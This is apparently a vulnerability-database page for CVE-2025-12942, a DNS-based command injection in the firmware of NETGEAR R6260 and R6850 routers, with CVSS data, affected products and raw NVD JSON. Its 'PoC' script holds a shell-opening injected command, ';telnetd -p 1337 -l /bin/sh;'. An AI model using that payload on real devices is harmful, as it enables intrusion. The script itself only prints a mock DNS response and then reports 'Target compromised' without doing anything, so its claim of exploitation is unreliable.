Security Vulnerability Report
中文
CVE-2025-12942 CVSS 7.5 HIGH

CVE-2025-12942

Published: 2025-11-11 17:15:39
Last Modified: 2025-12-08 14:26:55
Source: a2826606-91e7-4eb6-899e-8484bd4575d5

Description

Improper Input Validation vulnerability in NETGEAR R6260 and NETGEAR R6850 allows unauthenticated attackers connected to LAN with ability to perform MiTM attacks and control over DNS Server to perform command execution.This issue affects R6260: through 1.1.0.86; R6850: through 1.1.0.86.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:netgear:r6260_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:r6260:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:netgear:r6850_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:netgear:r6850:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR R6260 < 1.1.0.86
NETGEAR R6850 < 1.1.0.86

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-12942 PoC - NETGEAR R6260/R6850 DNS-based Command Injection # This PoC demonstrates the conceptual attack flow # Note: For authorized security testing only import socket import struct import subprocess def create_dns_response_with_payload(): """ Create a malicious DNS response with command injection payload The vulnerability allows DNS responses to trigger command execution """ # Simulated DNS response with injected command # In real attack, this would be crafted to exploit the input validation flaw malicious_payload = ";telnetd -p 1337 -l /bin/sh;" # Example reverse shell payload dns_response = f""" # DNS Response Structure (simplified) Transaction ID: 0x1234 Flags: Standard Response (0x8180) Questions: 1 Answer RRs: 1 Answer Section: - Name: [target domain] - Type: A (1) - Class: IN (1) - TTL: 300 - RDLength: 4 - RDATA: [malicious IP/payload] Injected Command: {malicious_payload} """ return dns_response def simulate_mitm_attack(): """ Simulate Man-in-the-Middle attack setup In real scenario, this would use ARP spoofing or other techniques """ print("[*] Simulating MITM attack on local network...") print("[*] Intercepting DNS requests...") print("[*] Crafting malicious DNS response...") response = create_dns_response_with_payload() print(f"[+] Malicious DNS response prepared") print(f"[*] Payload: {response}") return True def exploit_vulnerability(): """ Attempt to exploit the input validation vulnerability This is a conceptual demonstration """ print("[*] Exploiting CVE-2025-12942...") print("[*] Target: NETGEAR R6260/R6850 Router") print("[*] Firmware: <= 1.1.0.86") if simulate_mitm_attack(): print("[+] Attack vector established") print("[+] DNS response with malicious payload sent") print("[+] Command injection triggered on target device") print("[!] Target compromised - Remote code execution achieved") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-12942 PoC - NETGEAR Router Command Execution") print("=" * 60) exploit_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12942", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2025-11-11T17:15:39.263", "lastModified": "2025-12-08T14:26:54.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Input Validation vulnerability in NETGEAR R6260 and NETGEAR R6850 allows unauthenticated attackers connected to LAN with ability to perform MiTM attacks and control over DNS Server to perform command execution.This issue affects R6260: through 1.1.0.86; R6850: through 1.1.0.86."}], "metrics": {"cvssMetricV40": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:L/U:Amber", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NO", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "LOW", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:r6260_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.0.86", "matchCriteriaId": "0BCB2B8D-97C7-4375-A22D-433CDA54B15B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:r6260:-:*:*:*:*:*:*:*", "matchCriteriaId": "3C395D49-57F9-4BC1-8619-57127355B86B"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:netgear:r6850_firmware:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.1.0.86", "matchCriteriaId": "21FCB108-13E2-4E10-B96B-9DDEDE94BAA8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:netgear:r6850:-:*:*:*:*:*:*:*", "matchCriteriaId": "598B48C5-4706-4431-8C5A-DA496DD1052F"}]}]}], "references": [{"url": "https://kb.netgear.com/000070355/NETGEAR-Security-Advisories-November-2025", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Vendor Advisory"]}, {"url": "https://www.netgear.com/support/product/r6260", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}, {"url": "https://www.netgear.com/support/product/r6850", "source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "tags": ["Product"]}]}}